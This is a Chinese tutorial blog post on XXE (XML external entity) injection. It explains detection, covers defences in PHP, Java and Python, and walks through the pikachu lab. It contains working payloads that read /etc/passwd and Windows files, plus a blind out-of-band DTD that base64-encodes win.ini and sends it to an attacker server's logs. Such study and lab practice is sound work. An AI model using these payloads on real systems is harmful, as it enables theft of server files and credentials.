0
点赞
收藏
分享

微信扫一扫

owasp top10之XXE漏洞

读思意行 2022-03-21 阅读 94
web安全

XXE漏洞

  1. XML:
    • XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
  2. XXE( XML External Entity 外部实体注入,只能读服务器文件,但是执行不了系统命令):
    • XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。当运维人员使用了低版本php(php<7.0),libxml低于2.9.1或者程序员设置了libxml_disable_entity_loader(FALSE)就可以加载外部实体。;
    • 测试语句(读取C盘下面的某个文件):
      • <?xml version = "1.0"?> <!DOCTYPE ANY [     <!ENTITY f SYSTEM "file:///C://1.txt"> ]> <x>&f;</x>
      • 详解:

         

         

    • 白盒:
      • 查看代码里面是否使用了LoadXML( )函数
    • 黑盒(https://www.cnblogs.com/mysticbinary/p/12668547.html):
      • 抓包看响应体是否存在xml,accept头是否接受xml(附录:CTF xxe实战地址:http://web.jarvisoj.com:9882/ )
        • 修改type类型,编写xml脚本,可以读取敏感信息文件:
        • <?xml version = "1.0"?>
          <!DOCTYPE ANY [
              <!ENTITY f SYSTEM "file:///etc/passwd">
          ]>
          <x>&f;</x>

         

         

         

      • 看到url文件名是否 .ashx后缀扩展名

         

      • 抓包修改数据类型,把json改成xml来传输数据
    • 防御:
      • 升级php版本
      • 修改代码:
        • php:libxml_disable_entity_loader设置为true
        • JAVA:
          DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
          dbf.setExpandEntityReferences(false);
          setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
          setFeature("http://xml.org/sax/features/external-general-entities",false)
          setFeature("http://xml.org/sax/features/external-parameter-entities",false);
        • Python:
          from lxml import etree
          xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
      • 过滤关键词:
        • <!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
  3. XXE漏洞的危害:
    • 读取任意文件
    • 攻击内网网站
    • 攻击内网网站
    • 执行系统命令
  4. XXE攻击
    • 有回显(有输出)
    • 无回显(屏蔽输出,自己搭建vps,使用apache日志文件读取文件 |  无回显都可以使用dnslog)
      • 原理:
      • 建立*.dtd 文件,然后xml调用
        • test.dtd文件:<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
          <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.0.105:8080?p=%file;'>">   //内部的%号要进行实体编码成&#37
        • xml调用:<!DOCTYPE convert [ 
          <!ENTITY % remote SYSTEM "http://ip/test.dtd">
          %remote;%int;%send;
          ]>

         

      • 实战(使用到file、php、http协议):
        • 复制一台虚拟主机,更改主机名 进行XXE无回显实验,apache开启日志文件
        • 建立*.dtd文件,放到网站根目录:
        • <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
          <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.88.9:91/?p=%file;'>">
        • 火狐执行:
        • <!DOCTYPE convert [ 
          <!ENTITY % remote SYSTEM "http://192.168.88.9:91/xxe2/test.dtd">
          %remote;%int;%send;
          ]>
        • 查看日志文件,通过base64解码即可得到文件内容:

         

  5. pikachu XXE漏洞平台实战:
    • 查看实验环境,添加phpinfo,查看libxml版本:
    • 构建payload读取c盘内容:<?xml version = "1.0"?> <!DOCTYPE ANY [     <!ENTITY f SYSTEM "file:///C://1.txt"> ]> <x>&f;</x>
    • 构建php xml脚本:
    • 火狐访问这个脚本(post提交)
    • 构建读取配置文件脚本,利用file协议读取文件内容:
    • <!DOCTYPE foo [<!ELEMENT foo ANY >
      
      <!ENTITY xxe "oldboyedu.com">]>
      
      <foo>&xxe;</foo>
      
      
    • <!DOCTYPE foo [<!ELEMENT foo ANY >
      <!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
      <foo>&xxe;</foo>

     

     

     

     

     

举报

相关推荐

0 条评论